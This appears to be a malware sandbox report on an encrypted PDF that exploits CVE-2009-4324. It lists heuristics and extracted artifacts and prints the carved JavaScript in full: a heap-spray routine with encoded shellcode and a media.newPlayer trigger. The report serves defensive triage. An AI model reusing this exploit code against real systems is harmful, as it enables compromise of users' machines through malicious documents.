MALICIOUS
268
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1566.002 Spearphishing Attachment
The PDF is encrypted and contains a JavaScript action, indicating that the malicious content is intentionally obfuscated. The embedded JavaScript stream is likely responsible for executing the payload, which is hidden from static analysis. This technique is commonly used to bypass security controls and deliver further stages of an attack, such as credential harvesting or malware deployment.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 6
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (matched in decompressed stream)
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Encrypted PDF carries /OpenAction — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JSPDF declares /Encrypt and also references an executable trigger (/OpenAction). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0002_000.js |
pdf-javascript-stream | PDF /JS object 2 at offset 0x62 | 1478 bytes |
SHA-256: a3549c690d37eea72229d99662b9a5c05b4eb89210c43209dc1d0b7efa8762fb |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
function spray_heap()
{
var chunk_size, payload, nopsled;
chunk_size = 0x8000;
payload = unescape("%uc931%ue983%ud9dd%ud9ee%u2474%u5bf4%u7381%u6f13%ub102%u830e%ufceb%uf4e2%uea93%u0ef5%u026f%u4b3a%u8953%u0bcd%u0317%u855e%u1a20%u513a%u034f%u475a%u36e4%u0f3a%u3381%u9771%u86c3%u7a71%uc368%u037b%uc06e%ufa5a%u5654%u0a95%ue71a%u513a%u034b%u685a%u0ee4%u85fa%u1e30%ue5b0%u1ee4%u0f3a%u8b84%u2aed%uc16b%uce80%u890b%u3ef1%uc2ea%u02c9%u42e4%u85bd%u1e1f%u851c%u0a07%u075a%u82e4%u0e01%u026f%u663a%u5d53%uf880%u540f%uf638%uc2ec%u5eca%u7c07%uec69%u6a1c%uf029%u0ce5%uf1e6%u6188%u62d0%u2c0c%u76d4%u020a%u0eb1");
nopsled = unescape("%u0d0d%u0d0d");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 1200 ; i++)
heap_chunks[i] = nopsled + payload;
}
function trigger_bug()
{
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try {
media.newPlayer(null);
} catch(e) {}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
spray_heap();
trigger_bug();
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javascript_obj0002_000_shellcode_00.bin |
pdf-js-shellcode | pdf-js-unescape-shellcode recovered from PDF /JS object 2 at offset 0x62 | 164 bytes |
SHA-256: 6bc4efa3fd5c4e7e5543bff1d1cd93cee07a89c5aad81be83400509ea5682610 |
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Detection
ClamAV:
Win.Exploit.Fnstenv_mov-1
Obfuscation or payload:
unlikely
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javascript_obj0005_000.js |
pdf-javascript-stream | PDF /JS object 5 at offset 0x1BF | 1504 bytes |
SHA-256: 8dd4c53c5ba04c7c4b18b929facaf45796e24e8751ff49a0e39f73834411c825 |
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Preview scriptFirst 1,000 lines of the extracted script
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